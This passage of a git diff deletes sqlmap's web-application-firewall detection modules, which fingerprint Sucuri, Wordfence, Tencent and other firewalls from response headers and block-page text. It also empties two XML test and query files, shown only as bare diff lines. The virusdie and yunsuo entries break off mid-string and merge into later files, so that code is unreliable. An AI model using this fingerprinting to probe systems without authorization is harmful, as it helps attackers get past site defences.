"Powered by UTM Web Protection" in (page or "") - if retval: - break - - return retval diff --git a/waf/squarespace.py b/waf/squarespace.py deleted file mode 100644 index 143b55bd693..00000000000 --- a/waf/squarespace.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Squarespace Web Application Firewall (Squarespace)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = all(_ in (page or "") for _ in ("BRICK-50", " @ ", "404 Not Found")) - if retval: - break - - return retval diff --git a/waf/stackpath.py b/waf/stackpath.py deleted file mode 100644 index 74478ccc9ae..00000000000 --- a/waf/stackpath.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "StackPath Web Application Firewall (StackPath LLC)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = all(_ in (page or "") for _ in ("You performed an action that triggered the service and blocked your request",)) - if retval: - break - - return retval diff --git a/waf/sucuri.py b/waf/sucuri.py deleted file mode 100644 index 33cf57a7078..00000000000 --- a/waf/sucuri.py +++ /dev/null @@ -1,29 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "CloudProxy WebSite Firewall (Sucuri)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= "Access Denied - Sucuri Website Firewall" in (page or "") - retval |= "Sucuri WebSite Firewall - CloudProxy - Access Denied" in (page or "") - retval |= re.search(r"Questions\?.+cloudproxy@sucuri\.net", (page or "")) is not None - retval |= headers.get("X-Sucuri-ID") is not None - retval |= headers.get("X-Sucuri-Cache") is not None - if retval: - break - - return retval diff --git a/waf/tencent.py b/waf/tencent.py deleted file mode 100644 index d5dfed212f9..00000000000 --- a/waf/tencent.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Tencent Cloud Web Application Firewall (Tencent Cloud Computing)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, code = get_page(get=vector) - retval = code == 405 and "waf.tencent-cloud.com" in (page or "") - if retval: - break - - return retval diff --git a/waf/trafficshield.py b/waf/trafficshield.py deleted file mode 100644 index a2b830eed38..00000000000 --- a/waf/trafficshield.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "TrafficShield (F5 Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"F5-TrafficShield", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"\AASINFO=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/urlmaster.py b/waf/urlmaster.py deleted file mode 100644 index 65d31c03bb0..00000000000 --- a/waf/urlmaster.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Url Master SecurityCheck (iFinity/DotNetNuke)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, code = get_page(get=vector) - retval = code >= 400 and all(_ in (page or "") for _ in ("UrlMaster", "UrlRewriteModule", "SecurityCheck")) - if retval: - break - - return retval diff --git a/waf/urlscan.py b/waf/urlscan.py deleted file mode 100644 index e3206c33a61..00000000000 --- a/waf/urlscan.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "UrlScan (Microsoft)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"Rejected-By-UrlScan", headers.get(HTTP_HEADER.LOCATION, ""), re.I) is not None - retval |= code != 200 and re.search(r"/Rejected-By-UrlScan", page or "", re.I) is not None - if retval: - break - - return retval diff --git a/waf/varnish.py b/waf/varnish.py deleted file mode 100644 index f92ade613d0..00000000000 --- a/waf/varnish.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Varnish FireWall (OWASP)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, code = get_page(get=vector) - retval = code >= 400 and "Request rejected by xVarnish-WAF" in (page or "") - if retval: - break - - return retval diff --git a/waf/virusdie.py b/waf/virusdie.py deleted file mode 100644 index 69c0ff76ce6..00000000000 --- a/waf/virusdie.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Virusdie (Virusdie LLC)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("| Virusdie", "http://cdn.virusdie.ru/splash/firewallstop.png", "© Virusdie.ru

    ", '= 400 and re.search(r"\AWatchGuard", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= "Request denied by WatchGuard Firewall" in (page or "") - if retval: - break - - return retval diff --git a/waf/webknight.py b/waf/webknight.py deleted file mode 100644 index 7fbdc6f7b27..00000000000 --- a/waf/webknight.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "WebKnight Application Firewall (AQTRONIX)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = code == 999 - retval |= re.search(r"WebKnight", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= any(_ in (page or "") for _ in ("WebKnight Application Firewall Alert", "AQTRONIX WebKnight")) - if retval: - break - - return retval diff --git a/waf/wordfence.py b/waf/wordfence.py deleted file mode 100644 index 2b7ef485336..00000000000 --- a/waf/wordfence.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Wordfence (Feedjit)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("A potentially unsafe operation has been detected in your request to this site", "Generated by Wordfence", "Your access to this site has been limited", "This response was generated by Wordfence")) - if retval: - break - - return retval diff --git a/waf/yundun.py b/waf/yundun.py deleted file mode 100644 index ac753ce9871..00000000000 --- a/waf/yundun.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Yundun Web Application Firewall (Yundun)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = re.search(r"YUNDUN", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"YUNDUN", headers.get("X-Cache", ""), re.I) is not None - retval |= "Blocked by YUNDUN Cloud WAF" in (page or "") - if retval: - break - - return retval diff --git a/waf/yunsuo.py b/waf/yunsuo.py deleted file mode 100644 index d51da493558..00000000000 --- a/waf/yunsuo.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Yunsuo Web Application Firewall (Yunsuo)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = re.search(r"= 400 and re.search(r"\AZENEDGE", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= all(_ in (page or "") for _ in ("Your request has been blocked", "Incident ID", "/__zenedge/assets/")) - if retval: - break - - return retval diff --git a/xml/livetests.xml b/xml/livetests.xml deleted file mode 100644 index c6253e14574..00000000000 --- a/xml/livetests.xml +++ /dev/null @@ -1,3648 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/xml/queries.xml b/xml/queries.xml deleted file mode 100644 index 5c0e5c92169..00000000000 --- a/xml/queries.xml +++ /dev/null @@ -1,848 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -